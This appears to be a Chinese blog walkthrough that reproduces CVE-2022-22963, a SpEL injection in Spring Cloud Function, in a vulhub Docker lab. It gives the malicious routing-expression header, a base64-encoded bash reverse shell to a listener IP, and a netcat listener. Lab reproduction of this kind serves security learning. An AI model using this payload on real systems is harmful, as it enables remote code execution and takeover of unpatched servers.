CVE-2022-22963漏洞复现

GoatSecor

已于 2025-01-18 23:13:59 修改

阅读量835

点赞数 10

分类专栏： CVE漏洞复现文章标签：安全网络安全 linux

于 2024-12-23 14:19:46 首次发布

本文链接：https://blog.youkuaiyun.com/XXXXsssxwd/article/details/144652745

版权

CVE漏洞复现专栏收录该内容

1 篇文章

订阅专栏

CVE-2022-22963 漏洞简介：

由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。

影响版本：

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞

通过网盘分享的文件：vulhub-master.zip
链接: https://pan.baidu.com/s/1-ESOp-7sXIxhhzi19deO_w?pwd=1111 
提取码: 1111

1.1:开始使用docker-compose up -d

在这里插入图片描述

这里我们访问本地IP的8080端口即可

在这里插入图片描述

出现页面说明漏洞复现成功了，这是一个错误代码的界面

我们打开burp,在这个页面进行抓包，将页面路径改成：

在这里插入图片描述

我们修改完成后放到Repeater模块，进行模块代发
我们加入以下内容：
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("要执⾏的命令")

利用反弹shell的性质构建一个反弹shell语句再使用base64加密：
bash -i >& /dev/tcp/监听机IP/9999 0>&1

在这里插入图片描述

进行利用：
语句：spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec
("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNzQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}")

在这里插入图片描述

开启监听
nc -lvp 9999

在这里插入图片描述

最后一步发送模块即可

在这里插入图片描述

拿下靶机
总结：
1.学会了远程代码执行的利用
2.学会了base64加密上传后解密执行的利用